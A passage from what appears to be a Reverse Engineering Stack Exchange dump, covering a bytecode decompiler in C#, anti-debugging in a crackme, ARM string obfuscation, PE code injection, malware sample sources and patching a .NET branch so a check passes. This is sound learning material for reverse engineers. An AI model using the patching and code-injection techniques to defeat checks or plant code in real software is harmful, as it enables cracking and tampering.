3D 40 00 04 ; B\n3D 40 00 08 ; C\n32 04       ; *\n3D 40 00 0C ; D\n01 04       ; +\n3D 40 00 10 ; E\n3D 40 00 14 ; F\n17 04       ; /\n55 04       ; -\n38 40 00 00 ; Assign result to A\n
\n\n

A = B*C+D/E-F

\n\n
3D 40 00 04 ; B\n3D 40 00 08 ; C\n32 04       ; *\n3D 40 00 0C ; D\n3D 40 00 10 ; E\n17 04       ; / \n01 04       ; +\n3D 40 00 14 ; F\n55 04       ; -\n38 40 00 00 ; Assign result to A\n
\n\n

A = B*(C+D)/E-F

\n\n
3D 40 00 04 ; B\n3D 40 00 08 ; C\n3D 40 00 0C ; D\n01 04       ; +\n32 04       ; *\n3D 40 00 10 ; E\n17 04       ; /\n3D 40 00 14 ; F\n55 04       ; -\n38 40 00 00 ; Assign result to A\n
\n\n

A = B+C * D

\n\n
3D 40 00 04 ; B\n3D 40 00 08 ; C \n3D 40 00 0C ; D\n32 04       ; * \n01 04       ; +\n38 40 00 00 ; assign result to A\n
\n\n

A=(B+C) * D

\n\n
3D 40 00 04 ; B\n3D 40 00 08 ; C\n01 04       ; +\n3D 40 00 0C ; D\n32 04       ; *\n38 40 00 00 ; assign result to A\n
\n\n

A=B+C+D * E

\n\n
3D 40 00 04 ; B\n3D 40 00 08 ; C\n01 04       ; +\n3D 40 00 0C ; D\n3D 40 00 10 ; E\n32 04       ; *\n01 04       ; +\n38 40 00 00 ; assign result to A\n
\n\n

A=(B+C+D) * E

\n\n
3D 40 00 04 ; B\n3D 40 00 08 ; C\n01 04       ; +\n3D 40 00 0C ; D\n01 04       ; +\n3D 40 00 10 ; E\n32 04       ; *\n38 40 00 00 ; assign result to A\n
\n\n

A=A+B * C+D+E * F

\n\n
3D 40 00 00 ; A\n3D 40 00 04 ; B\n3D 40 00 08 ; C\n32 04       ; *\n01 04       ; +\n3D 40 00 0C ; D\n01 04       ; +\n3D 40 00 10 ; E\n3D 40 00 14 ; F\n32 04       ; *\n01 04       ; +\n38 40 00 00 ; Assign result to A\n
\n\n

A=(A+B) * (C+D)+E * F

\n\n
3D 40 00 00 ; A\n3D 40 00 04 ; B\n01 04       ; + \n3D 40 00 08 ; C\n3D 40 00 0C ; D\n01 04       ; +   \n32 04       ; *\n3D 40 00 10 ; E\n3D 40 00 14 ; F\n32 04       ; *\n01 04       ; +\n38 40 00 00 ; Assign result to A\n
\n\n

A=A+B+(C * D)+E

\n\n
3D 40 00 00 ; A\n3D 40 00 04 ; B\n01 04       ; +\n3D 40 00 08 ; C\n3D 40 00 0C ; D\n32 04       ; *\n01 04       ; +\n3D 40 00 10 ; E\n01 04       ; + \n38 40 00 00 ; assign result to A\n
\n\n

A=A+B+(C* D *E)+F

\n\n
3D 40 00 00 ; A\n3D 40 00 04 ; B\n01 04       ; +\n3D 40 00 08 ; C\n3D 40 00 0C ; D\n32 04       ; *\n3D 40 00 10 ; E\n32 04       ; *\n01 04       ; +\n3D 40 00 14 ; F\n01 04       ; +\n38 40 00 00 ; assign result to A\n
\n\n

A=B-C

\n\n
3D 40 00 04 ; B\n3D 40 00 08 ; C\n55 04       ; -\n38 40 00 00 ; assign result to A\n
\n\n

A=B*C+D-E/F

\n\n
3D 40 00 04 ; B\n3D 40 00 08 ; C\n32 04       ; *\n3D 40 00 0C ; D\n01 04       ; +\n3D 40 00 10 ; E\n3D 40 00 14 ; F\n17 04       ; -\n55 04       ; /\n38 40 00 00 ; Assign result to A\n
\n\n

Boolean Expressions

\n\n

512 < A

\n\n
3D 45 00 00 02 00 ; 512\n3D 40 00 00       ; variable A\n2B 04             ; <\n26 00             ; end of expression\n00 7E             ; ?\n
\n\n

a>B and b128 or d>1024 or e>128

\n\n
3D 40 00 00 ; A\n3D 40 00 04 ; B\n22 04       ; >\n25 00       ; AND\n00 CC       ;\n3D 40 00 04 ; B\n3D 40 00 08 ; C\n2B 04       ; <\n25 00       ; AND\n00 CC       ;\n3D 40 00 08 ; C\n4B 80       ; 128\n22 04       ; >\n27 00       ; OR \n00 E8       ;\n3D 40 00 0C ; D \n3D 45 00 00 04 00 ; 1024\n22 04       ; >\n27 00       ; OR \n00 E8       ; \n3D 40 00 10 ; E\n4B 80       ; 128\n22 04       ; >\n26 00       ; end of expression\n01 14       ; ?\n
\n", "Title": "reversing bytcode - trying to work decompiling expression", "Tags": "|file-format|", "Answer": "

Thanks to response from Jongware who correctly identified this as reverse polish notation, which needed to be converted to \"infix\"

\n\n

Tested on some samples

\n\n

Original:

\n\n

1) A=B * C+D-E/F

\n\n

2) A=B * C+D/E-F

\n\n

3) A=B * (C+D)/E-F

\n\n

Decompiled:

\n\n

1) A=(((B * C)+D)-(E/F))

\n\n

2) A=(((B * C)+(D/E))-F)

\n\n

3) A=(((B* (C+D))/E)-F)

\n\n

If this helps anyone else this is the prototype processing code in C#, which I've verified works correctly. This code needs further improvement, but it does work for this scenario described.

\n\n
    // instruction is a byte[] array containing the code to decode\n    Stack<string> stack = new Stack<string>();\n    string op;\n    byte[] bit32=new byte[4];\n    string result;\n\n    for (int i = 0; i < instruction.Length;i++ )\n    {\n        op=\"\";\n        switch (instruction[i])\n        {\n            case 0x22:\n                op=\">\";\n                i++;\n                break;\n            case 0x2B:\n                op=\"<\";\n                i++;\n                break;\n            case 0x32:\n                op=\"*\";\n                i++;\n                break;\n        case 0x01:\n            op=\"+\";\n            i++;\n            break;\n        case 0x17:\n            op=\"/\";\n            i++;\n            break;\n        case 0x55:\n            op=\"-\";\n            i++;\n            break;\n        case 0x38:\n            i++;\n\n            if (instruction[i]==0x40)\n            {\n                // builds the final result, and adds it to textboxDecompiledText\n                i++;\n                result = string.Format(\"{0}={1}\", string.Format(\"S{0:X2}{1:X2}\", instruction[i], instruction[i + 1]),\n                stack.Pop());\n\n                i++;\n\n                textBoxDecompiled.Text += result;\n                break;\n\n            }\n            break;\n        case 0x4B: // 1 byte integer\n        case 0x48:\n            i++;\n            stack.Push(((int)instruction[i]).ToString());\n            break;\n        case 0x3D:\n            i++;\n            switch (instruction[i])\n            {\n                case 0x40: // variable\n                    i++;\n                    string currentVariable= string.Format(\"S{0:X2}{1:X2}\", instruction[i], instruction[i + 1]);\n                    stack.Push(currentVariable);\n                    i += 1;\n                    break;\n                case 0x45: // 4 byte integer\n                    i++;\n                    Buffer.BlockCopy(instruction,i,bit32,0,4);\n                    Array.Reverse(bit32);\n                    int bit32result = BitConverter.ToInt32(instruction, 0);\n                    stack.Push(bit32result.ToString());\n                    i+=3;\n                    break;\n\n\n            }\n            break;\n\n    }\n\n    // check if we have an operator\n    if (!string.IsNullOrEmpty(op))\n    {\n        if (stack.Count >= 2)\n        {\n            string op2 = stack.Pop();\n            string op1 = stack.Pop();\n            stack.Push(string.Format(\"({0}{1}{2})\", op1, op, op2));\n        }\n        else\n        {\n            // something wrong here!\n            throw new InvalidOperationException();\n        }\n    }\n}\n
\n" }, { "Id": "9251", "CreationDate": "2015-06-29T14:03:32.350", "Body": "

I am debugging some quiz program called \"abex crackme 1\"

\n\n

When I execute this program without debugging, it shows a simple message box, which reads \"Make me think your HD is a CD-Rom\"

\n\n

After I click OK button, it smoothly works without any problem.

\n\n

But when I debug this program, I am getting into endless loop.

\n\n

The program code is like this:\nFirst, it calls some function from dll to initialize something. But I think it doesn't matter now.

\n\n

And, It pushes some parameters and calls WinAPI function \"MessageBox A\" (see below)\n\"5th\nWhen I tries to step over this Call instruction in ollydbg, a message box pops up. When I click OK button like i did, i can't escape some block of code(picture 2)\n\"Endless

\n\n

I don't know why this is happening only when i am debugging.

\n", "Title": "Why do i get into endless loop in winapi when i am debugging?", "Tags": "|ollydbg|winapi|", "Answer": "

Look closely at the code you're looping within: it uses the FS register in several places. Now, googling for \"windows FS register\" tells you that this holds the segment of the TIB for Thread Information Block. And the first entry in that block, at byte offset 0, has the address of the current SEH, Structured Exception Handler.

\n\n

Your code above is writing to that SEH, so it's reasonable to assume (as this is within ntdll.dll) that this is the part of the kernel that processes (possibly nested) exceptions. Seems that your application somehow detects the presence of a debugger, and sets up a bogus exception handler in that case. Probably this happens way before your MessageBoxA call.

\n\n

I'd check the assembly code if there is any call to IsDebuggerPresent. Or, maybe, it gets the address of the current PEB (Process Environment Block) at [fs:0x30], and reads the second byte of it, which is a BeingDebugged flag. Probably your code uses some of these to check for a debugger, and does something to the exception handler in that case.

\n\n

Also, your sample may just set up an exception handler, then execute an 'illegal' instruction, like sti, or access an unmapped memory location. This will raise the exception; but if you just single step your program, Olly won't know the exception is going to happen, so it places its temporary single-step-breakpoint at the wrong location. Try to remember the address where an exception happens when single stepping, and be careful to add a breakpoint on the exception handler the next time.

\n" }, { "Id": "9259", "CreationDate": "2015-06-30T05:36:05.397", "Body": "

I am very new to the reverse engineering but I am trying to create objective-c code from an ARM assembly for iOS. I have come a very long way but now I am stuck at a point. Can anyone please tell me what the following code means (taken from IDA pro):

\n\n
__text:0050F428                 PUSH            {R4-R7,LR}\n__text:0050F42A                 ADD             R7, SP, #0xC\n__text:0050F42C                 PUSH.W          {R8,R10,R11}\n\n__text:0050F430                 MOVW            R2, #(:lower16:(aNNYnnQsJNFsQFs - 0x50F440)) ; \"\u00a6;(+;\u00a1+\\r\\r+\u00a1(;\\r|Y\u00a1\u00a1+\u0192s+j\u00a6\\r\u00a1\u00a6+;\u00a6fs+\u00a6+\"...\n\n__text:0050F434                 MOVS            R1, #0\n\n__text:0050F436                 MOVT.W          R2, #(:upper16:(aNNYnnQsJNFsQFs - 0x50F440)) ; \"\u00a6;(+;\u00a1+\\r\\r+\u00a1(;\\r|Y\u00a1\u00a1+\u0192s+j\u00a6\\r\u00a1\u00a6+;\u00a6fs+\u00a6+\"...\n\n__text:0050F43A                 MOVS            R3, #0x36\n\n__text:0050F43C                 ADD             R2, PC  ; \"\u00a6;(+;\u00a1+\\r\\r+\u00a1(;\\r|Y\u00a1\u00a1+\u0192s+j\u00a6\\r\u00a1\u00a6+;\u00a6fs+\u00a6+\"...\n\n__text:0050F43E                 MOV.W           R9, #0x32\n\n__text:0050F442                 MOV.W           R12, #0x65\n\n__text:0050F446                 MOV.W           LR, #0x39\n\n__text:0050F44A                 MOVS            R4, #0x62\n\n__text:0050F44C                 MOV.W           R10, #0x34\n\n__text:0050F450                 MOV.W           R11, #0x64\n\n__text:0050F454                 MOVS            R6, #0x31\n\n__text:0050F456 loc_50F456                              ; CODE XREF: sub_50F428+154j\n\n__text:0050F456                 LDRB.W          R8, [R2,R1]\n\n__text:0050F45A                 STRB.W          R8, [R0,R1]\n\n__text:0050F45E                 CMP.W           R8, #0x3A\n\n__text:0050F462                 BGT             loc_50F46E\n\n__text:0050F464                 CMP.W           R8, #0xD\n\n__text:0050F468                 IT EQ\n\n__text:0050F46A                 STREQB          R3, [R0,R1]\n\n__text:0050F46C                 B               loc_50F578 ; jumptable 0050F522 default case\n
\n\n

The Pseudocode from Hopper is:

\n\n
r2 = \"\"\\\\xB1;\\\\xF4\\\\xB8;\\\\xAD\\\\xBB\\\\r\\\\r\\\\xB8\\\\xAD\\\\xF4;\\\\r|Y\\\\xAD\\\\xAD\\\\xB8\\\\x9Fs\\\\xBBj\\\\xB2\\\\r\\\\xAD\\\\xB3\\\\xD8;\\\\xB3fs\\\\xD8\\\\xB2\\\\xB8\\\\xD8\\\\x9F\\\\xF4fs|Yj\\\\xBBY\\\\xD8\\\\xBB\\\\xF4\\\\xF4\\\\xB1j\\\\xB1\\\\xAD\\\\xF4f\\\\xAD\\\\xB1\\\\xD8Y;\\\\xB8\\\\xF4\\\\xBB\\\\xF4\";\"\n\nr8 = *(r2 + r1);\n*(r0 + r1) = r8;\nif (r8 > 0x3a) goto loc_50f46e;\n
\n\n

What I fail to understand is the type of the variable the whose value will be loaded in r2 register. If r2 contains a hex string then should i convert it to NSData? When the comparison is being done with 0x3A, what does that mean? Are they comparing the size of the data to 0x3A (58 in decimal i suppose).

\n\n

Sorry if this is very naive. As I said I am new and trying to learn.

\n", "Title": "Figure out the objective-c code from this snipette", "Tags": "|ida|ios|", "Answer": "

You have to see the three instructions

\n\n
MOVW            R2, #(:lower16:(aNNYnnQsJNFsQFs - 0x50F440)) ; \"\u00a6;(+;\u00a1+\\r\\r+\u00a1(;\\r|Y\u00a1\u00a1+\u0192s+j\u00a6\\r\u00a1\u00a6+;\u00a6fs+\u00a6+\"...\nMOVT.W          R2, #(:upper16:(aNNYnnQsJNFsQFs - 0x50F440)) ; \"\u00a6;(+;\u00a1+\\r\\r+\u00a1(;\\r|Y\u00a1\u00a1+\u0192s+j\u00a6\\r\u00a1\u00a6+;\u00a6fs+\u00a6+\"...\nADD             R2, PC  ; \"\u00a6;(+;\u00a1+\\r\\r+\u00a1(;\\r|Y\u00a1\u00a1+\u0192s+j\u00a6\\r\u00a1\u00a6+;\u00a6fs+\u00a6+\"...\n
\n\n

together. The MOVW and MOVT.W load the relative address of a string into R2; adding PC to it is the standard way on ARM to make code - and data - location-independent so the loader doesn't have to adjust to the load address.

\n\n

So, these instructions make R2 point to the string '|;(+;......'.

\n\n

Also note that R1 gets initialized to 0.

\n\n

At loc_50F456 - which i assume is a loop start - the instructions get one byte from the R2 string into R8, and write the byte to another string at R0. As R0 hasn't been initialized yet, it's probably a function parameter. Note that the LDRB and the STRB opcodes both index with R1 in addition to R0. This is typical for a loop that copies from R2 to R0 with R1 being incremented each time.

\n\n

After that, R8 still holds the byte from the R2 string. Comparing it to 0x3A means comparing it to 58 decimal, yes. But as the byte originates in a string, which consists of ASCII characters, you should look up the ASCII character for 0x3A, which is :. So the BGT is done on any character 'greater' than that, which includes letters and some punctuation, but doesn't include numbers. And next, the code compares the character to 0x0D - carriage return - which is \\r, and occurs several times in your string. If it is \\r, it gets replaced with the value from R3, which has been initialized to 0x36 earlier, which is the ASCII digit 6.

\n\n

At loc_50F46E, you'll probably have more code that mangles your letters somehow.

\n\n

This seems to me like a part of a password checker, or serial number checker, where the password is encrypted in the code, so a simple strings command doesn't reveal it.

\n\n

BTW, if you're learning, it's often much easier to run this in a debugger, single-step, and check what each register contains after each step. In my experience, this helps you understand what's going on quicker than just glancing at the code, especially if you aren't familiar with what exactly each opcodes does.

\n\n

Also, don't rely on recompilation to C or something similar. Whatever a decompiler produces is an Approximation, and often one that doesn't resemble the original code very well. The C decompilation will allow you to understand code structure faster, once you're able to read assembly, but it will horribly confuse you if you don't understand the assembly and try to use it instead.

\n" }, { "Id": "9262", "CreationDate": "2015-06-30T19:00:09.463", "Body": "

Is there website where you can submit an executable and it will run it through strings and give you the output?

\n", "Title": "Is there a website that hosts the strings application?", "Tags": "|strings|", "Answer": "

http://www.fileformat.info/tool/strings.htm\n\u200b\u200b\u200b\u200b\u200b\u200b\u200b\u200b\u200b\u200b\u200b\u200b\u200b\u200b\u200b\u200b\u200b\u200b\u200b\u200b\u200b\u200b\u200b\u200b\u200b\u200b\u200b\u200b\u200b

\n" }, { "Id": "9265", "CreationDate": "2015-07-01T10:01:51.913", "Body": "

Recently I faced with strange (in my opinion) behavior of radare2.

\n\n

I have been reading the Artificial truth blog post about Hacking bits with this crackme.

\n\n

In an article Julien used Intel syntax,\nbut I choose AT&T.

\n\n

So I started disassemble crackme:

\n\n
$ r2 ./crackme.03.32\n
\n\n

Set syntax to intel, block size to 10 bytes and seek to needed address and print disassemble:

\n\n
[0x00010020]> e asm.syntax = intel\n[0x00010020]> b 10\n[0x00010020]> s 0x0010112\n[0x00010112]> pd\n
\n\n

Output was:

\n\n
       0x00010112    80f2ac         xor dl, 0xac\n       0x00010115    eb02           jmp 0x10119\n
\n\n

But when I changed syntax to ATT:

\n\n
[0x00010112]> e asm.syntax = att\n[0x00010112]> pd\n
\n\n

I received that:

\n\n
       0x00010112    80f2ac         xorb $-0x54, %dl\n       0x00010115    eb02           jmp 0x10119\n
\n\n

In the source code of crackme we can find that value of argument is 0xac (xor dl, 0xac).

\n\n

So, actually, question:

\n\n

Why 80 f2 ac translate to the same opcodes, but with different arguments for AT&T and Intel syntax.

\n\n

Why 0xac became -0x54?

\n\n
\n\n
$ r2 -version\nradare2 0.10.0-git 8247 @ linux-little-x86-64 git.0.9.9-148-gd5f2661\ncommit: d5f2661cbe1a32bc26490bd7a1864ef45907aaea build: 2015-06-26\n
\n", "Title": "AT&T XOR argument at radare2", "Tags": "|radare2|disassemblers|crackme|", "Answer": "

It was signed and unsigned question.

\n\n

The way to change the signedness is by negating it, which is NOTing all bits of that number and incrementing it by 1

\n\n
>>> 256 - (~(-0x54)+1)\n172\n>>> hex(172)\n'0xac'\n>>> \n
\n" }, { "Id": "9269", "CreationDate": "2015-07-01T18:02:06.647", "Body": "

I have a PE which I'd like to edit. I know I can create patches in OllyDbg and similar tools, but they all have one thing in common: I have to overwrite some present code in file. I wonder if it is possible to somehow enlarge the executable, put the code in the appended part, and then just change a few instructions in original part to jmp to the new part? I searched over the Internet, but I haven't found an obvious solution (well, some propose writing code in NOP sections, but my code i longer than the longest of them).

\n\n

Note that the PE is 64-bit, so the solution must work for this architecture.

\n", "Title": "How to add code to Portable Executable?", "Tags": "|pe|patching|", "Answer": "

Yes, you can add a new section to your PE file.

\n\n

High-level instructions at Adding sections to PE Files and low-level instructions at Inject your code to a Portable Executable file.

\n" }, { "Id": "9273", "CreationDate": "2015-07-02T06:33:39.730", "Body": "

I can access the FS:[0h] which points to the SEH chain but cannot do the same for other segment registers.What is the reason for it ?

\n\n

Also,I was debugging an exe which has PTRD at 0x600 and AEP at 0x1000 (same as PTRD) but at offset 0x400 I see some instructions which I have seen in some other files too. In my sample it is unreachable code,but in one test exe which I wrote using WINASM/MASM it was same sequence of instructions just had a bit more instruction .If I change the AEP to 400 the assembly is as follows:

\n\n
00400400    6A 00           PUSH 0  \n00400402    68 05304000     PUSH 00403005  \n00400407    68 00304000     PUSH 00403000  \n0040040C    6A 00           PUSH 0  \n0040040E    E8 17040000     CALL 0040082A  \n00400413    6A 00           PUSH 0  \n00400415    E8 16040000     CALL 00400830  \n0040041A    E8 17040000     CALL 00400836  \n0040041F    E8 1E040000     CALL 00400842  \n00400424    E8 13040000     CALL 0040083C  \n00400429    C3              RETN     \n
\n\n

I wrote a Hello world program in MASM which had AEP at 0x1000 the code seems similar but I can debug it i.e it is not unreachable/dead code like previous one.It is as follows:

\n\n
00401000    6A 00           PUSH 0                                   \n00401002    68 00304000     PUSH OFFSET 00403000                     \n00401007    68 06304000     PUSH OFFSET 00403006                     \n0040100C    6A 00           PUSH 0                                   \n0040100E    E8 0D000000     CALL <JMP.&user32.MessageBoxA>           \n00401013    A3 14304000     MOV DWORD PTR DS:[403014],EAX\n00401018    33C0            XOR EAX,EAX\n0040101A    50              PUSH EAX                                 \n0040101B    E8 06000000     CALL <JMP.&kernel32.ExitProcess>         \n00401020    FF25 08204000   JMP DWORD PTR DS:[<&user32.MessageBoxA>]\n00401026    FF25 00204000   JMP DWORD PTR DS:[<&kernel32.ExitProcess \n
\n\n

So my question is how come code is coming in my sample at offset 0x400,what is the use of this code ,is there some compiler which is putting it out there?

\n\n

Note:Its a virus sample and I am a starter.Thanks for the answers in advance...

\n", "Title": "Why can I access FS:[0] in OllyDbg but not offsets to CS,DS,SS?", "Tags": "|ollydbg|malware|windbg|patch-reversing|", "Answer": "

executable code might start as low as base+0x2b0 if the linker switch /ALIGN:16 is used

\n\n

\"enter

\n\n

edit

\n\n

the dead code could be a function that was compiled and linked but never called if you modufy the src above like this and compile the first call to messagebox will be available in the binary but no one will be referring it

\n\n
#include <windows.h>\n#pragma comment(lib , \"user32.lib\")\nvoid deadcode(void)\n{\n  MessageBox(0,\"iam dead\",\"yep deady dead deady dead\",0);\n}\nvoid main (void) {\n  MessageBoxA(0,\"disme to see me low\",\n  \"using align 16 and merge sections iam slim(e)y\",\n  0);\n} \n
\n\n

this is the dead code that was never referenced but still exists

\n\n
>cdb -c \"x msgbox!*;q\" msgbox.exe | grep main\n004002d0 msgbox!main (void)\n\n>cdb -c \"u msgbox+2d0-20;q\" msgbox.exe | grep -A 4 55\n004002b0 55              push    ebp\n004002b1 8bec            mov     ebp,esp\n004002b3 6a00            push    0\n004002b5 680c024000      push    offset msgbox!\u2302USER32_NULL_THUNK_DATA+0x28 (004\n0020c)\n004002ba 6828024000      push    offset msgbox!\u2302USER32_NULL_THUNK_DATA+0x44 (004\n00228)\n\n>cdb -c \"da msgbox+20c;q\" msgbox.exe | grep dead\n0040020c  \"yep deady dead deady dead\"\n
\n" }, { "Id": "9277", "CreationDate": "2015-07-03T02:38:16.377", "Body": "

I am new user of IDA Pro. The version I am using is 6.8 demo.\nI know conceptions of program segmentation and segment register. \nBut, I am confused about why there are two views, \"Program Segmentation\" and \"Segment register\"\nBelew is snapshot of program segmentation view.\n\"enter\nBelew is snapshot of program register view\n\"enter\nAs we can see the information of two views is almost duplicated.

\n", "Title": "What's the use of \"Segments Registers\" sub view of IDA Pro?", "Tags": "|ida|", "Answer": "

This was interesting when DOS was the operating system of choice, processors had 16 bits, and programs were larger than 64 KB. Those times, the content of segment registers changed a lot; programs had to use far jumps (that changed CS and IP) to jump to addresses more than 64 KB away, and they had to load a value into DS or ES first to access large data segments (or load 0x0040 into ES to access BIOS data structures and have access to the 'high resolution timer' which changed 18.2 times a second).

\n\n

Here's part of the disassembly of an old 16 bit program:

\n\n

\"enter

\n\n

Please note that there are three segment changes that change the assumption of IDA about the contents of the segments, and another one at 25EB where ES is 'changed' to seg130, which isn't really a change, so there's no assume directive.

\n\n

Here's the corresponding segment registers view:

\n\n

\"enter

\n\n

in which 15412 corresponds to seg001:25B2; if you click on that row in IDA, the program view will jump to that address. The following 3 'change points' correspond to the next addresses where the code actually changes a segment register value.

\n\n

Those days, programs contained several code segments, and several data segments, so the program segmentation view had a lot to show as well:

\n\n

\"enter

\n\n

you see there are many CODE segments and many UNKnown segments, only a small part of the whole program is shown. Each of these CODE segments used a different value for CS, which is why IDA creates a new segment register change entry for each new segment.

\n\n

These days, unless you're disassembling kernel code, you won't see segment register changes at all, and even if you're disassembling the kernel, you'll have one code segment and one data segment, not many of them. So IDA just creates one segment from each section of the input file, and creates the corresponding change points, but there's no change point except the ones that are created for the segments. Which is why the views correspond to each other, and which is also why you're not interested in either of them in most cases.

\n" }, { "Id": "9279", "CreationDate": "2015-07-03T11:14:22.057", "Body": "

There have been numerous sites stated in this wonderful post that one could retrieve malware samples. However, I am having a difficult time (sorry D:) locating Linux-specific malware from those sites as mostly are samples for Windows (I think). Where can I find and download these Linux samples that I seek?

\n\n

BTW, this is for learning to create ClamAV and YARA signatures.

\n", "Title": "Where can I get Linux malware samples?", "Tags": "|malware|linux|elf|", "Answer": "

You can also obtain files from https://www.virussamples.com and download many ELF and PE files among others. There are daily batches available.

\n" }, { "Id": "9281", "CreationDate": "2015-07-03T12:30:00.010", "Body": "

So, its been very interesting to reverse engineer an iOS application and I have made significant improvement into learning how to read disassembly and understand them. Now I was trying to debug the iOS app using lldb debugserver.

\n\n

I was able to attach my system to my jailbroken ipad running the gdb server and hooked it to one of the running process. Now the problem is, that the executable has no symbols (or at least lldb is telling me that). But when I tried to disassemble it in IDA Pro and Hopper, I was able to get all the objective-c classes and functions names.

\n\n

For example, one of the function that is being used is HMACWithSecret which has the signature -[NSString(HMAC) HMACWithSecret:]

\n\n

If I try to set a break point from lldb using the command

\n\n
b -[NSString(HMAC) HMACWithString:]\n
\n\n

Or any other variant

\n\n
b HMACWithSecret:\nb HMACWithSecret\n
\n\n

It fails to find a location for the same. I know that in objective-c every call is made via objc_msgSend with arguments about which function to call. But if i want to set a breakpoint in the above function (or any other I reveal via Hopper/IDA Pro) what should I do?

\n", "Title": "Setting Breakpoints at functions decoded by Hopper/IDA Pro in an iOS app", "Tags": "|ida|ios|hopper|lldb|", "Answer": "

I was able to achieve this by installing gdbserver on my ipad. Then i ssh into the ipad and attach a remote lldb debugger (xcode tools) to attack breakpoints. A long method but works. There are now tools to debug in same way on android and ios.

\n" }, { "Id": "9284", "CreationDate": "2015-07-03T20:10:48.230", "Body": "

I'd like to improve my reverse engineering skills, so I made this WPF application (targeting x64, of course):

\n\n

MainWindow.xaml:

\n\n
<Window x:Class=\"ApplicationTest.MainWindow\"\n        xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"\n        xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\"\n        Title=\"Harness\"\n        WindowStyle=\"ToolWindow\"\n        Width=\"200\"\n        Height=\"200\">\n    <Grid>\n        <Button Content=\"Go\" Click=\"Button_Click\"/>\n    </Grid>\n</Window>\n
\n\n

MainWindow.xaml.cs:

\n\n
namespace ApplicationTest\n{\n    public partial class MainWindow : Window\n    {\n        public MainWindow()\n        {\n            InitializeComponent();\n        }\n\n        private void Button_Click(object sender, RoutedEventArgs e)\n        {\n            var value = \"No\";\n            if (value.Equals(\"No\", StringComparison.OrdinalIgnoreCase))\n                MessageBox.Show(\"You cannot proceed.\");\n            else\n                MessageBox.Show(\"Well done, lad.\");\n        }\n    }\n}\n
\n\n

When I debug it with x64dbg, I'm trying to find the location of the value.Equals(\"No\", StringComparison.OrdinalIgnoreCase) comparison, but I am having trouble finding a way to trace the application to its button click event. Ideally, I want to use x64dbg to modify my application's executable and have it run the else statement and print \"Well done, lad.\" instead. How can this be achieved?

\n\n

In my Symbols window, under the applicationtest.exe symbol, I see Button_Click at a particular address, but when I try to set breakpoints in or around here in the Disassembler view it never hits them when I click the actual button.

\n", "Title": "How can I use an x64 debugger to reroute a .NET application's logic?", "Tags": "|windows|debuggers|executable|x86-64|.net|", "Answer": "

Modifying a Release-Mode .NET Assembly

\n\n

Since IL is so simple, one way to achieve the same result without a debugger is to simply decompile the executable using ILDASM on a corresponding .NET release mode x64 executable using the following command line command:

\n\n
\"C:\\Program Files (x86)\\Microsoft SDKs\\Windows\\v8.1A\\bin\\NETFX 4.5.1 Tools\\ildasm.exe\" ApplicationTest.exe /out:Disassembly.asm\n
\n\n

In the disassembly, you will see the following IL instructions under the Button_Click method:

\n\n
IL_000d:  callvirt   instance bool [mscorlib]System.String::Equals(string,\n                                                                       valuetype [mscorlib]System.StringComparison)\n    IL_0012:  brfalse.s  IL_0020\n\n    IL_0014:  ldstr      \"You cannot proceed.\"\n
\n\n

It's very verbose and looks almost identical to your original .NET code so it makes it really easy to find the location of your corresponding code. Modify the text brfalse to be brtrue, and compile it using ILASM:

\n\n
\"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ilasm.exe\" Disassembly.asm\n
\n\n

The result will be an assembly named Disassembly.exe which is nearly identical to the original assembly except that it has rerouted application logic. Now when you execute it, clicking the button will print Well done, lad..

\n\n

Note: You may need to download the Windows SDK or corresponding .NET Framework your .NET project is running in order to get access to ILDASM or ILASM. Also, these tools may not work if your .NET application uses a different version of the .NET framework than the .NET versions that the version of ILDASM or ILASM you are using target.

\n\n

Debugging a Release-Mode .NET Assembly's MSIL Assembly Code Line-by-Line

\n\n

To directly answer the question, you can debug release-mode .NET assemblies line by line. You first need to decompile any .NET assembly into IL code as I have shown above, using ildasm. Then, you can recompile your assembly in ilasm using the /pdb flag (ilasm Disassembly.asm /pdb) to create a debug database that will let you debug any .NET assembly line by line. Here is a simple demonstration of how to do that. Once you have compiled using ilasm Disassembly.asm /pdb, launch the executable (Disassembly.exe). In Visual Studio, go to Tools -> Attach to process and attach the debugger to Disassembly.exe. Once attached, go to Debug -> Options and Settings -> Debugger -> Symbols and make sure you add the location of the folder hosting the Disassembly.pdb file (it should be the same folder that Disassembly.exe is in if you followed this guide correctly thus far. Hit the pause button in Visual Studio to freeze execution and go to Debug -> Windows -> Threads and view your threads. Navigate through the threads by double clicking on them. You may need to disable Just my code. If it prompts you, go ahead and do it, it should be a single click in the thread view. Eventually, you will see that one of your threads shows you the IL Disassembly.asm. You can add breakpoints in and debug it line by line. Here is a screenshot:

\n\n

\"enter

\n\n

Just a quick note, you may need to resume then freeze again after loading symbols so that Visual Studio synchronizes them. Also, for this to work, you will need the corresponding Disassembly.asm file in the same directory as well.

\n\n

Also, Visual Studio has a handy Disassembly View (Debug -> Windows -> Disassembly) which shows you the machine instructions generated by JIT instead of IL instructions, but this window you cannot debug, presumably because JIT generates this stuff dynamically.

\n" }, { "Id": "9293", "CreationDate": "2015-07-05T18:27:45.090", "Body": "

i use pefile library for help me in vulnerability research,malware analysis and exploit development and try to write script help me to know which protections binary use

\n\n

i know mona.py from corelan team but i just need to write some tools will help me without use mona because i'm not use immunity debugger i use python debugger

\n\n

====update=========
\ni wrote this script

\n\n
